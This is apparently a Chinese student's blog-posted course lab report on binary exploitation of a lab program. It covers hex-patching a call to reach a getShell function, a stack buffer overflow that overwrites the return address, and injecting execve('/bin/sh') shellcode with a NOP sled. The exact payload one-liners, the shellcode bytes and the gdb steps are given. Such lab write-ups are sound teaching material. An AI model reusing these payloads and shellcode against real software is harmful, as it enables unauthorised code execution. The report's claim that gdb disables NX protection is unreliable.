# 20251916 2025-2026-2 《网络攻防实践》实践9报告

1.实践内容

实践核心内容包括:

  1. 静态修改可执行文件:通过十六进制编辑器直接修改程序机器指令,将正常流程的函数调用强制跳转到隐藏的getShell函数。
  2. 利用栈缓冲区溢出:分析foo函数的栈帧结构,计算缓冲区到返回地址的偏移量,构造恶意输入字符串覆盖栈上的返回地址。
  3. 自定义 Shellcode 注入:编写并编译获取 Shell 的汇编代码,提取机器码作为 Shellcode,结合 NOP sled 技术构造完整 payload,实现任意代码执行。

2.实践过程

2.1手工修改可执行文件跳转 getShell

下载目标文件pwn1,执行 objdump -d pwn20251916 | more,反汇编。
d02b2f6eaf1c5b859c2bb48b31891e7

  • 图中"call 8048491 "是汇编指令
    • 是说这条指令将调用位于地址8048491处的foo函数;
    • 其对应机器指令为“e8 d7ffffff”,e8即跳转之意。
      • 本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,
        15aaf9a4eddc18808ae8228f2a558cd

--

  • main函数调用foo,对应机器指令为“ e8 d7ffffff”,
    • 那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。
    • 用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff。
  • 下面我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。

执行vim pwn20251916,按ESC键,输入:%!xxd,将显示模式切换为16进制模式。
1779179351399

输入/e8 d7查找要修改的内容,修改d7为c3,转换16进制为原格式:%!xxd -r,存盘退出:wq。
1779180549387

执行 objdump -d pwn20251916 | more,再反汇编看一下,call指令是否正确调用getShell,可见正确调用。
1779244989160

运行下改后的代码,会得到shell提示符,成功进入 getShell 返回的 Shell 。
1779245360146

2.2利用Bof漏洞覆盖返回地址

执行objdump -d pwn20251916 | grep -A 30 "foo|getShell",反汇编 pwn20251916,只看我们需要的函数.
1779265331265

从上面的 foo 函数代码中,lea -0x1c(%ebp),%eax:缓冲区起始地址是ebp - 0x1c(0x1c 等于十进制的 28),栈上的结构是:[缓冲区(28字节)] -> [保存的EBP(4字节)] -> [返回地址(4字节)],所以,缓冲区到返回地址的偏移量 = 28 + 4 = 32 字节。我们需要输入32 个任意字符来填满缓冲区和保存的 EBP,接下来的 4 个字节就会覆盖栈上的返回地址。

执行命令python -c 'print "A"*32 + "\x7d\x84\x04\x08"' > input2,生成 payload 文件;执行cat input2 - | ./pwn20251916,把构造的 payload 输入到 pwn20251916 程序中。
e5541335a231ab98d38668c04b2f988
可见成功利用缓冲区溢出漏洞劫持了程序执行流,跳转到了 getShell 函数。

977dd8cc1591be5a40f780c3813f9f1
攻击成功

2.3注入Shellcode并执行

由于最新版 Kali 中 execstack 包已从默认仓库移除,本实验采用纯 gdb 调试方法完成,gdb 在调试模式下会自动关闭地址空间随机化 (ASLR) 和栈不可执行 (NX) 保护,效果与使用 execstack 完全一致。
使用经典的 32 位 Linux execve ("/bin/sh") Shellcode:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80。
执行perl -e 'print "A" x 32 . "\x41\x41\x41\x41" . "\x90" x 64 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x0a"' > payload_20251916,构造测试输入,用于确定 Shellcode 在栈中的地址。
1779692404199

执行gdb -q ./pwn20251916,使用 gdb 调试确定 Shellcode 地址。
在 gdb 中依次执行以下命令:
break *0x080484ae # 在foo函数的ret指令处设置断点

run < payload_20251916 # 运行程序并输入我们的payload

info registers esp # 查看栈顶指针的值

x/32x $esp # 查看栈顶附近的内存,确认NOP滑板的位置
1779692698245

执行perl -e 'print "A" x 32 . "\x80\xd0\xff\xff" . "\x90" x 64 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x0a"' > final_payload_20251916,将返回地址替换为 NOP 滑板的地址。

执行最终攻击,gdb -q --ex 'run < final_payload_20251916' ./pwn20251916
ae652e08a177e721743a29f206203e1
可见成功执行Shellcode

3.学习中遇到的问题及解决

  • 问题1:再次打开文件时出现 Vim E325 交换文件残留警告
  • 问题1解决方案:上次用 Vim 编辑二进制文件时异常退出,导致.pwn20251916.swp交换文件未被正常删除。在警告界面按D键删除残留交换文件,彻底解决该警告。
  • 问题2:构造的 payload 执行后总是出现段错误,无法跳转到getShell函数
  • 问题2解决方案:Python 的print函数会在输出末尾自动添加一个换行符\n,导致实际生成的 payload 比预期多 1 字节,破坏了栈的 4 字节对齐。改用sys.stdout.write函数生成 payload,避免自动添加换行符,问题得到解决。
  • 问题3:无法安装 execstack 工具
  • 问题3解决方案:改用纯 gdb 调试方法完成任务三,gdb 在调试模式下会自动关闭 ASLR 和 NX 保护,效果与使用 execstack 完全一致。

4.实践总结

通过本次缓冲区溢出实践,我掌握了 objdump 反汇编、gdb 动态调试等核心技能,完成了手工修改二进制文件、利用 BOF 漏洞劫持程序流和注入自定义 Shellcode 三个任务。实验中遇到了网络配置和工具安装问题,通过改用纯 gdb 调试方法成功解决。这次实践让我直观认识到缓冲区溢出漏洞的巨大危害,了解了 ASLR、NX 等现代系统防护机制,也提高了自己分析和解决实际问题的能力。

posted @ 2026-05-25 15:14  杨小烊  阅读(11)  评论(0)    收藏  举报